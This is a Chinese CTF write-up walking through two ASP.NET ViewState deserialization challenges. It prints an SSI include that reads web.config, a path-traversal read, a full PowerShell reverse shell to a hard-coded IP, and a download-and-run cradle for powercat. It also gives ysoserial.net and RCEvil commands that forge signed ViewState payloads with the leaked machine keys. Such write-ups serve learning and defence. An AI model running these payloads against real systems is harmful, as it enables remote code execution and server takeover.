0x00 前言
asp.net 平时接触得少,ctf 中也比较少遇到,之前对他的了解也只限于对 c# 语言的一些简单学习。然后这次在 buu 上面遇到 一道 [BJDCTF 2nd]EasyAspDotNet 题,然后在看wp 的时候,又碰巧了解到 HITCON CTF 2018 - Why so Serials? 和这题差不到,都是利用了viewstate 反序列化来做;然后在查资料的时候,又发现 CVE-2020-0688 exchange远程代码执行漏洞 也是利用viewstate 反序列化漏洞。
于是本着兴趣,也想对asp.net 更加了解一下,就结合这两个题目的复现 一起来学习一下 asp.net 中 viewstate 反序列化攻击
0x01 viewstate简单介绍
(1) 什么是viewstate ? 一句话 简单总结就是 :viewstate 是基于 web forms ,目的是为服务端控件状态进行持久化 。
关于web forms 和 服务端控件 的学习可以参考 ASP.NET Web Forms - 教程
网上找的一个图说得挺好的:
(2)viewState 序列化和反序列化 基础知识: viewState 序列化和反序列化
(3)viewState 的安全性:
i . viewState 如果没有加密,则可以直接解密得到里面的内容,burp 会自动viewState 解密,在线解密
可以设置viewSatteEncryptionMode 对viewState 进行加密
ii. 防篡改 ,客户端提交的 viewState 在服务器端后进行反序列化,并且检索数据,所以 为了防篡改,viewState 需要开启 MAC 验证 。那么mac 是如果产生的呢 ?在cyku 博客中找到了答案
上面的 validation_key 就是machineKey 中的validation_key 属性
0x02 HITCON CTF 2018 - Why so Serials?
题目给了源代码,
上传文件的后缀名进行了很多过滤,但是没有过滤 shtml 后缀
所以第一步就是利用shtml 来读取 web.config
<!-- test.shtml -->
<!--#include file="/web.config" -->
成功读取:
本来使用的powershell 反弹shell 命令是不需要download 其他文件的,
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('174.2.45.219',6666);$stream =$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
但是使用这个反弹shell 用 ysoserial.net 生成payload 的时候遇到麻烦的转义问题:
-p ViewState 和 -s 参数不能同时使用
改变思路,使用另一个powershell 反弹shell 命令:
powershell IEX (New-Object System.Net.Webclient).DownloadString
('http://174.2.46.221:8000/powercat.ps1');
powercat -c 174.2.46.221 -p 6666 -e cmd
小号开启另一个buu linux 主机,上传 powercat.ps1 到主机上
然后主机用python 开启http 服务,监听8000端口 。
构造payload :
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://174.2.46.221:8000/powercat.ps1');powercat -c 174.2.46.221 -p 6666 -e cmd"
一开始 直接使用 rcevil.net 中提到的 -f ObjectStateFormatter 来构造(而且cyku ,KaiBro中也是使用ObjectStateFormatter),但是会报错:
正在一筹莫展的时候,突然注意到 ysoserial 项目中提到一句:
Note: Machine authentication code (MAC) key modifier is not being used for LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads.
于是在网上搜了搜 关于 LosFormatter 类 , ObjectStateFormatter 类 和 viewState 的关系:
LosFormatter:
ObjectStateFormatter:
再搜了搜两者的区别,
里面说到 这两个类都是用作序列化viewState 的,但是 LosFormatter 后来被ObjectSateFormmatter 替代了,但是为了兼容 ,LosFormatter 也是可以使用的:
然后试着用 -f LosFormatter -e base64 来生成payload ,生成成功。
再用 RCEvil 来生成 带 MAC 的payload:
RCEvil.NET.exe -u /Default.aspx -v b07b0f97365416288cf0247cffdf135d25f6be87 -m MD5 -p {ysoserial 生成的payload }
生成的payload 做了 url 编码,解码,然后burp 重放:
此时收到 反弹shell:
c 盘 根目录下找到flag:
有点小兴奋,成为第二个做出来的人(虽然是复现,hhhh)
0x03 BJDCTF 2nd EasyAspDotNet
根据作者 wp 中写道,出题的灵感来自 https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/, 里面提到:
也就是说在实战中,由于企业的防护,直接使用前面说的 方法来攻击可能行不通,这时可以使用 ActivitySurrogateSelectorFromFile gadget 来实现无文件的 webshell 后门。
回到题目,首先 /ImgLoad.aspx?path=…/…/web.config 路径穿越读取web.config 的内容:
执行命令:
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5"
但是报错,说没有找到 e.dll
感觉是不是本地ysoserial编译的问题,然后网上搜了搜,在 https://chen.oinsm.com/2020/03/28/BJDCTF-2nd/ 中提到可以直接下载带exe 的 ysoserial ,然后 把 ExploitClass.cs 和 System.dll ,Sytem.Web.dll 放到 ysoserial.exe 同级目录下,然后执行命令,成功生成payload
burp 抓包,发送payload ,成功执行命令:
这里需要注意的是 如果使用burp ,需要进行url 编码,使用Postman 的话就可以不需要
0x04 后记
由于对asp.net 不怎么了解,读paper 的时候,这个不懂又去搜一下,那个不懂也得去搜一下,最多的时候浏览器标签都超过30多个了。从一开始 重来没做过asp.net 的题, 也没接触过 viewstate 到 后来 查阅各种资料成功复现这两道viewstate ,一步步了解viewstate 以及解决复现中遇到的问题,确实学到了不少东西。走出自己的舒适区,多去挑战一些自己之前不敢挑战或者说不愿挑战的东西,学习如此,生活亦是如此。